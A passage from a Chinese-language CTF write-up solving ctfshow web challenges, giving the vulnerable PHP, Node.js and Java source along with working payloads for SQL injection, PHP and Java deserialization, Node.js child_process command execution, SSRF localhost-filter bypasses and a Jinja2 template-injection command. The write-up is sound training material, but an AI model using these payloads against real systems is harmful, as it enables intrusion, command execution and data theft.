$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
|
使v1=v2即可
web105
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
|
所以无论\(b怎么改变值,\)a的值都会和$b一样
die()
函数虽然会终止程序,但同时也会输出括号内的终止提示信息
方法一:
本题利用变量覆盖和die()
函数的特性
- 先对get的内容进行覆盖,且不能覆盖error,所以要覆盖suces,即?suces=flag,此时suces=>flag的地址
- 再对post的内容进行覆盖,且不能将flag直接覆盖,所以只能error=suces,此时error=>flag的地址
- 此时无论进入哪个
die()
函数,都可以输出$flag
的值
payload:
Text Only |
---|
| Get: suces=flag
POST: error=suces
|
方法二:
先将flag的值赋给suces,再将flag的值赋为空,从而通过判断,输出suces的值
web106
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
|
我们使用数组绕过即可
web107
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
|
parse_str函数:它用于将字符串解析为变量,如果 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 arr 则会设置到该数组里 )。
PHP |
---|
| <?php
//parse_str()将查询的字符串解析到变量中
parse_str("name=Gopal K Verma&age=45");
echo $name."<br>";
echo $age;
?>
|
其实实际上就是md5弱比较
方法一:随便给一个值给flag,将MD5转换后的值赋给v3
Text Only |
---|
| v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b
|
方法二:数组绕过
web108
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
|
题目给出的0x36d为16进制数,十进制为877,需要字母开头或结尾的话为877a,因为是==弱比较,可以等同于877,逆序后为a778,直接读取不行,需要加一个截断%00来绕过正则的判断。
payload
web109
考点:php原生类利用
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
|
关于php原生类的利用
https://blog.csdn.net/weixin_54902210/article/details/124689580
payload:
Text Only |
---|
| v1=Exception&v2=system('cat fl36dg.txt')
or
v1=Reflectionclass&v2=system('cat fl36dg.txt')
|
其他的原生类也行,比如Error
web110
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
|
依旧是对php原生类的利用
但是增加了对v1和v2的过滤,但是它没有过滤字母,考虑用纯字母构造payload
类FilesystemIterator
可以用来遍历目录,需要一个路径参数
函数getcwd
可以返回当前工作路径且不需要参数,由此可以构造payload
Text Only |
---|
| https://fded39f6-0eb1-430b-8f4f-42fd69937aed.challenge.ctf.show?v1=FilesystemIterator&v2=getcwd
|
得到flag的位置,直接访问即可
web111
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
|
这题是关于变量覆盖的题目
由于
Text Only |
---|
| if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
|
所有我们可以确定v1的值只能为ctfshow
接下来看getFlag函数
Text Only |
---|
| function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
|
getFlag函数会将v1的地址指向v2,也就是说会使v1的值等于v2
var_dump则会输出变量的相关信息
那我们只需要使v2的值等于我们要查询的变量就可以读到我们的flag
但是问题来了,我们不知道要查的变量是什么,也不知道是不是在作用域里面
所这里使用超全局变量 \(GLOBALS,\)GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。
构造payload把所有全局变量全输出来
Text Only |
---|
| https://feec7abc-68b0-4b95-86bc-1db857e3624a.challenge.ctf.show?v1=ctfshow&v2=GLOBALS
|
web112
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(!is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
|
这题考察的是php伪协议,虽然被ban了data、input 等伪协议,又ban了 string、data、rot13 相关的过滤器,但是还是有不少能用的伪协议和过滤器
如 php://filter(这里也用不到过滤器)
Text Only |
---|
| https://c9c112c8-f426-4008-9e05-712cff76e02c.challenge.ctf.show/?file=php://filter/resource=flag.php
|
其他
Text Only |
---|
| php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
|
为什么不能直接输入flag.php呢?
Text Only |
---|
| if(!is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
|
那是因为is_file("flag.php")==true,输出hacker!
web113
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
|
这题相比上题把filter过滤了
我们可以考虑使用其他伪协议
如 compress.zlib://
官方题解 目录溢出导致is_file认为这不是一个文件
Text Only |
---|
| /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
|
web114
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
|
这题ban掉了compress和root没办法使用上题的两种解法,但是把filter放出来了
Text Only |
---|
| php://filter/resource=flag.php
|
直接读就完事了
web115
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
|
参考文章:ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web109-CSDN博客
is_numeric可以在数字前面加空格绕过,同时加上空格也可以绕过$num!='36'
但是我们知道trim函数是移除字符串两侧的空白字符或其他预定义字符,空格等字符是会被去掉的
我们这里考虑使用%0c(换页符)进行绕过
同时使用%0c也可以绕过filter。
接下来再看第二个if判断,这是看起来很矛盾的一个判断。
来具体看一下!==的定义,只要类型不同就不全等。
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对。
——《php手册》语言参考-运算符-比较运算符
也就是说!==时不进行类型转换。
所以加上%0c换页符,在==进行类型转换,所有%0c36会被转换为数值36,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。
payload:
sql注入
web171
Text Only |
---|
| $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
|
flag是存在于username为flag的用户的数据中,我们只需要通过
即可输出所有用户数据
web172
相比上一题,这题增加了过滤
Text Only |
---|
| //检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
|
方法一: 联合查询
因为联合查询只会显示password
Text Only |
---|
| api/?id=1' union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23
/api/?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()%23
/api/?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23
//看到有3列 id,username,password
/api/?id=1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user),database()%23
//查询password发现没有flag
//查另一个表 ctfshow_user2
/api/?id=1' union select 1,(select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23
//看到flag
|
方法二: 将用户名字段进行编码,绕过检测
Text Only |
---|
| -1' union select to_base64(username),password from ctfshow_user2 --+
|
方法三: 只查询密码
Text Only |
---|
| -1' union select id,password from ctfshow_user2 where username='flag
|
web173
过滤要求查询结果中不能出现flag字段
Text Only |
---|
| //检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
|
方法一:联合查询
和上题解法一样,只是这题flag在ctfshow_user3
方法二:
只查询password
Text Only |
---|
| -1' union select id,id,password from ctfshow_user3 where username='flag
|
方法三: 将用户名字段进行编码,绕过检测
Text Only |
---|
| -1' union select to_base64(username),password from ctfshow_user3 --+
|
web174
输出时增加了过滤数字
Text Only |
---|
| //检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
|
反序列化
PHP的魔法方法
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:
SCSS |
---|
| __construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
|
web254
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
|
看着很长,实际上审一下代码发现账号和密码已经放出来了
Text Only |
---|
| public $username='xxxxxx';
public $password='xxxxxx';
|
poc
Text Only |
---|
| /?username=xxxxxx&password=xxxxxx
|
web255
相比上一题只是把
Text Only |
---|
| $user = new ctfShowUser();
|
改为了
Text Only |
---|
| $user = unserialize($_COOKIE['user']);
|
区别不大只需要通过反序列化的方式实例化ctfShowUser()即可
PHP |
---|
| $user = new ctfShowUser();
$user->isVip=true; //不能漏
echo urlencode(serialize($user));
|
传参拿到flag
web256
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
|
相比上一道题多了个
Text Only |
---|
| $this->username!==$this->password
|
区别不大
poc
PHP |
---|
| $user = new ctfShowUser();
$user->isVip=true;
$user->username="okok";
echo urlencode(serialize($user));
|
传参拿到flag
web257
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
|
这道题存在一个后门方法
我们想办法走到后面方法这一步,并通过eval执行命令即可得到flag
poc
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com
*/
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code ='system("cat fl*");';
public function getInfo(){
eval($this->code);
}
}
$user = new ctfShowUser();
echo urlencode(serialize($user));
|
web258
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
|
这道题相对于上一道题需要正则表达式进行绕过
poc
PHP |
---|
| <?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code='system("tac ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);
|
我们可以通过+绕过
web289
flag.php
PHP |
---|
| $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
|
PHP |
---|
| <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
|
根据题目提示存在flag.php页面且只允许
node.js
web334
login.js
JavaScript |
---|
| var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
|
user.js
JavaScript |
---|
| module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
|
审计一下代码看到已经给出了明文的账号密码
但是要注意这里
Text Only |
---|
| return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
|
这里要去输入的账号不能为CTFSHOW,且输入的用户名转换为大写后与明文账号相同即可
那就很简单了,输入小写的ctfshow和密码123456即可得到flag
web335
查看源代码得到hint
看到eval猜测是命令执行,js中的eval函数的利用与php中的有所不同
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
payload:
Text Only |
---|
| /?eval=require('child_process').execSync('ls').toString()
/?eval=require('child_process').execSync('cat fl00g.txt').toString()
require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
|
那为什么下面的方法会回显[object object]呢?
Text Only |
---|
| require('child_process').exec('calc'); //这题不知道为什么exec用不了
|
当你在 Web 界面通过某种命令注入手段调用 Node.js的 child_process 时,如果希望直接在页面上看到命令输出结果,execsync 会更直观。它会阻塞直到命令执行结束,并将结果返回给你的代码,你能直接以字符串形式处理和展示。而 exec则需要通过回调来拿结果,如果没写回调或没正确处理,就只会看到一个[object object]的返回。
web336
这题跟上一题差不多,但是貌似把execSync办了
用其他方法即可
Text Only |
---|
| require('child_process').spawnSync('ls',['./']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
|
web337
JavaScript |
---|
| var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
|
SSRF
web351
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
|
没有过滤,直接读文件
Payload:
Text Only |
---|
| url=127.0.0.1/flag.php
url=localhost/flag.php
|
web352
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
|
这道题限制了只能使用http和https协议
同时也添加了过滤
Text Only |
---|
| if(!preg_match('/localhost|127.0.0/'))
|
缺省法
payload:
Text Only |
---|
| url=http://127.1/flag.php
url=http://0/flag.php
//windows中解析为0.0.0.0
//linux解析为127.0.0.1
|
or
使用十进制绕过
payload:
Text Only |
---|
| url=http://2130706433/flag.php
|
web353
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
|
过滤
Text Only |
---|
| !preg_match('/localhost|127\.0\.|\。/i', $url)
|
这题依旧可以用上题方法解决
其他payload:
Text Only |
---|
| // 127.0.0.1 ~ 127.255.255.254 都表示 localhost
url=http://127.255.255.254/flag.php
|
127开头都会被解析为localhost
web354
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
|
这道题的1和0都被过滤了,我们可以用dns重定向的方法来绕过
网络上存在一个域名sudo.cc会重定向到127.0.0.1
payload:
Text Only |
---|
| url=http://sudo.cc/flag.php
|
其他方法
可以用自己的域名进行dns重定向
或者通过 http://ceye.io/
web355
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
|
这道题对host的长度进行了限制,但是由于没有进行过滤我们可以用0来代替127.0.0.1
payload:
or
Text Only |
---|
| url=http://127.1/flag.php
|
web356
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
|
payload:
web357
PHP |
---|
| <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
|
ssti
通过遍历找模块
Python |
---|
| from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
search = 'os' #你想利用的模块
num = -1
for i in ().__class__.__base__.__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
# print("no")
pass
if __name__ == "__main__":
app.run()
|
web361
没有waf,直接打
Text Only |
---|
| {{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}
|
web362
Java反序列化:
web846
URLDNS
payload:
Java |
---|
| import java.io. *;
import java.lang.reflect.Field;
import java.util.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException{
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("https://78c78067-c876-40fb-b175-edb3b743655d.challenge.ctf.show/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
// 不想这里发起请求,把url对象的hashcode改成不是-1
hashcodefield.set(url,911);
hashmap.put(url,1);
hashcodefield.set(url,-1);
// 这里把hashcode改回-1
serialize(hashmap);
}
}
|